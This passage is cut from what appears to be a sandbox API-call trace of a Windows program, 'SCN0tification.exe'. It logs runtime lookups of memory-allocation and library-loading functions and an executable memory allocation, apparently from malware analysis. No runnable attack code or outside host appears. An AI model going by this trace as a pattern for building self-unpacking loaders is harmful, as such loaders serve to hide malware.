(hModule=0x75190000, lpProcName="DecodePointer") returned 0x7770a200 [0057.689] GetModuleHandleW (lpModuleName="KERNELBASE.DLL") returned 0x75190000 [0057.689] GetProcAddress (hModule=0x75190000, lpProcName="DecodePointer") returned 0x7770a200 [0057.690] GetModuleHandleW (lpModuleName="KERNELBASE.DLL") returned 0x75190000 [0057.690] GetProcAddress (hModule=0x75190000, lpProcName="DecodePointer") returned 0x7770a200 [0057.690] GetModuleHandleW (lpModuleName="KERNELBASE.DLL") returned 0x75190000 [0057.690] GetProcAddress (hModule=0x75190000, lpProcName="DecodePointer") returned 0x7770a200 [0057.690] GetModuleHandleW (lpModuleName="KERNELBASE.DLL") returned 0x75190000 [0057.690] GetProcAddress (hModule=0x75190000, lpProcName="DecodePointer") returned 0x7770a200 [0057.690] GetModuleHandleW (lpModuleName="KERNELBASE.DLL") returned 0x75190000 [0057.690] GetProcAddress (hModule=0x75190000, lpProcName="EncodePointer") returned 0x7770f190 [0057.690] GetProcAddress (hModule=0x75190000, lpProcName="DecodePointer") returned 0x7770a200 [0057.690] GetStartupInfoA (in: lpStartupInfo=0x19fe04 | out: lpStartupInfo=0x19fe04*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\SCN0tification.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x401, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x10001, hStdError=0x0)) [0057.690] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0 [0057.691] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0057.691] GetStdHandle (nStdHandle=0xfffffff4) returned 0x0 [0057.691] SetHandleCount (uNumber=0x20) returned 0x20 [0057.691] GetCommandLineW () returned="\"C:\\Users\\CIiHmnxMn6Ps\\Desktop\\SCN0tification.exe\" " [0057.691] GetCommandLineW () returned="\"C:\\Users\\CIiHmnxMn6Ps\\Desktop\\SCN0tification.exe\" " [0057.691] GetEnvironmentStringsW () returned 0x5b63f0* [0057.691] FreeEnvironmentStringsW (penv=0x5b63f0) returned 1 [0057.691] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x435b10, nSize=0x104 | out: lpFilename="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\SCN0tification.exe" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\scn0tification.exe")) returned 0x30 [0057.692] GetLastError () returned 0x0 [0057.692] SetLastError (dwErrCode=0x0) [0057.692] GetLastError () returned 0x0 [0057.692] SetLastError (dwErrCode=0x0) [0057.692] GetLastError () returned 0x0 [0057.692] SetLastError (dwErrCode=0x0) [0057.692] GetACP () returned 0x4e4 [0057.692] GetLastError () returned 0x0 [0057.692] SetLastError (dwErrCode=0x0) [0057.692] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x19fde4 | out: lpCPInfo=0x19fde4) returned 1 [0057.693] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x19f8b0 | out: lpCPInfo=0x19f8b0) returned 1 [0057.693] GetLastError () returned 0x0 [0057.693] SetLastError (dwErrCode=0x0) [0057.693] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr="", cchSrc=1, lpCharType=0x19f840 | out: lpCharType=0x19f840) returned 1 [0057.693] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x19fcc4, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0057.693] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x19fcc4, cbMultiByte=256, lpWideCharStr=0x19f628, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0057.693] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpCharType=0x19f8c4 | out: lpCharType=0x19f8c4) returned 1 [0057.693] GetLastError () returned 0x0 [0057.693] SetLastError (dwErrCode=0x0) [0057.693] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr="", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0057.693] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x19fcc4, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0057.693] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x19fcc4, cbMultiByte=256, lpWideCharStr=0x19f5c8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ਼࿒崉B쉨톣Ā") returned 256 [0057.693] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ਼࿒崉B쉨톣Ā", cchSrc=256, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 256 [0057.694] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ਼࿒崉B쉨톣Ā", cchSrc=256, lpDestStr=0x19f3b8, cchDest=256 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿЀ") returned 256 [0057.694] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿЀ", cchWideChar=256, lpMultiByteStr=0x19fbc4, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\xff\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xd7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\xbc\xc7\xa3\xd1\xfc\xfd\x19", lpUsedDefaultChar=0x0) returned 256 [0057.694] GetLastError () returned 0x0 [0057.694] SetLastError (dwErrCode=0x0) [0057.694] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x19fcc4, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0057.694] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x19fcc4, cbMultiByte=256, lpWideCharStr=0x19f5e8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ਼࿒崉B쉈톣Ā") returned 256 [0057.694] LCMapStringW (in: Locale=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ਼࿒崉B쉈톣Ā", cchSrc=256, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 256 [0057.694] LCMapStringW (in: Locale=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ਼࿒崉B쉈톣Ā", cchSrc=256, lpDestStr=0x19f3d8, cchDest=256 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸЀ") returned 256 [0057.694] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸЀ", cchWideChar=256, lpMultiByteStr=0x19fac4, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xf7\xd8\xd9\xda\xdb\xdc\xdd\xde\x9f\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\xff\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xd7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\xbc\xc7\xa3\xd1\xfc\xfd\x19", lpUsedDefaultChar=0x0) returned 256 [0057.694] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x41dc10) returned 0x0 [0057.694] GetCommandLineA () returned="\"C:\\Users\\CIiHmnxMn6Ps\\Desktop\\SCN0tification.exe\" " [0057.728] ImageList_Add (himl=0xffffffff, hbmImage=0x0, hbmMask=0x0) returned -1 [0057.728] LoadLibraryA (lpLibFileName="user32.dll") returned 0x76c70000 [0057.728] GetProcAddress (hModule=0x76c70000, lpProcName="GetWindowContextHelpId") returned 0x76cc8df0 [0057.728] GetWindowContextHelpId (param_1=0x0) returned 0x0 [0057.728] GetLastError () returned 0x578 [0057.729] VirtualAlloc (lpAddress=0x0, dwSize=0xd98, flAllocationType=0x3000, flProtect=0x40) returned 0x2b0000 [0057.729] GetModuleHandleA (lpModuleName="kernel32") returned 0x74f40000 [0057.729] GetCommandLineA () returned="\"C:\\Users\\CIiHmnxMn6Ps\\Desktop\\SCN0tification.exe\" " [0057.729] GetCommandLineA () returned="\"C:\\Users\\CIiHmnxMn6Ps\\Desktop\\SCN0tification.exe\" " [0057.729] GetCommandLineA () returned="\"C:\\Users\\CIiHmnxMn6Ps\\Desktop\\SCN0tification.exe\" " [0057.729] GetCommandLineA () returned="\"C:\\Users\\CIiHmnxMn6Ps\\Desktop\\SCN0tification.exe\" " [0057.729] GetCommandLineA () returned="\"C:\\Users\\CIiHmnxMn6Ps\\Desktop\\SCN0tification.exe\" " [0057.729] GetCommandLineA () returned="\"C:\\Users\\CIiHmnxMn6Ps\\Desktop\\SCN0tification.exe\" " [0057.729] GetCommandLineA () returned="\"C:\\Users\\CIiHmnxMn6Ps\\Desktop\\SCN0tification.exe\" " [0057.729] GetCommandLineA () returned="\"C:\\Users\\CIiHmnxMn6Ps\\Desktop\\SCN0tification.exe\" " [0057.729] GetCommandLineA () returned="\"C:\\Users\\CIiHmnxMn6Ps\\Desktop\\SCN0tification.exe\" " [0057.729] GetCommandLineA () returned="\"C:\\Users\\CIiHmnxMn6Ps\\Desktop\\SCN0tification.exe\" " [0057.729] GetCommandLineA () returned="\"C:\\Users\\CIiHmnxMn6Ps\\Desktop\\SCN0tification.exe\" " [0057.729] GetCommandLineA () returned="\"C:\\Users\\CIiHmnxMn6Ps\\Desktop\\SCN0tification.exe\" " [0057.729] GetCommandLineA () returned="\"C:\\Users\\CIiHmnxMn6Ps\\Desktop\\SCN0tification.exe\" " [0057.729] GetCommandLineA () returned="\"C:\\Users\\CIiHmnxMn6Ps\\Desktop\\SCN0tification.exe\" " [0057.729] GetCommandLineA () returned="\"C:\\Users\\CIiHmnxMn6Ps\\Desktop\\SCN0tification.exe\" " [0057.729] GetCommandLineA () returned="\"C:\\Users\\CIiHmnxMn6Ps\\Desktop\\SCN0tification.exe\" " [0057.729] GetCommandLineA () returned="\"C:\\Users\\CIiHmnxMn6Ps\\Desktop\\SCN0tification.exe\" " [0057.729] GetCommandLineA () returned="\"C:\\Users\\CIiHmnxMn6Ps\\Desktop\\SCN0tification.exe\" " [0057.729] GetCommandLineA () returned="\"C:\\Users\\CIiHmnxMn6Ps\\Desktop\\SCN0tification.exe\" " [0057.729] GetCommandLineA () returned="\"C:\\Users\\CIiHmnxMn6Ps\\Desktop\\SCN0tification.exe\" " [0057.729] GetCommandLineA () returned="\"C:\\Users\\CIiHmnxMn6Ps\\Desktop\\SCN0tification.exe\" " [0057.729] GetProcAddress (hModule=0x74f40000, lpProcName="VirtualAlloc") returned 0x74f58b70 [0057.729] GetProcAddress (hModule=0x74f40000, lpProcName="VirtualProtect") returned 0x74f58c50 [0057.730] GetProcAddress (hModule=0x74f40000, lpProcName="LoadLibraryA") returned 0x74f5d8d0 [0057.730] GetProcAddress (hModule=0x74f40000, lpProcName="VirtualFree") returned 0x74f58c70 [0057.730] GetProcAddress (hModule=0x74f40000, lpProcName="VirtualQuery") returned 0x74f58c90 [0057.730] VirtualQuery (in: lpAddress=0x4170ce, lpBuffer=0x19faf8, dwLength=0x1c | out: lpBuffer=0x19faf8*(BaseAddress=0x417000, AllocationBase=0x400000, AllocationProtect=0x80, RegionSize=0x1a000, State=0x1000, Protect=0x20, Type=0x1000000)) returned 0x1c [0057.730] VirtualAlloc (lpAddress=0x0, dwSize=0x15ae0, flAllocationType=0x3000, flProtect=0x4) returned 0x310000 [0057.730] VirtualAlloc (lpAddress=0x0, dwSize=0x19600, flAllocationType=0x3000, 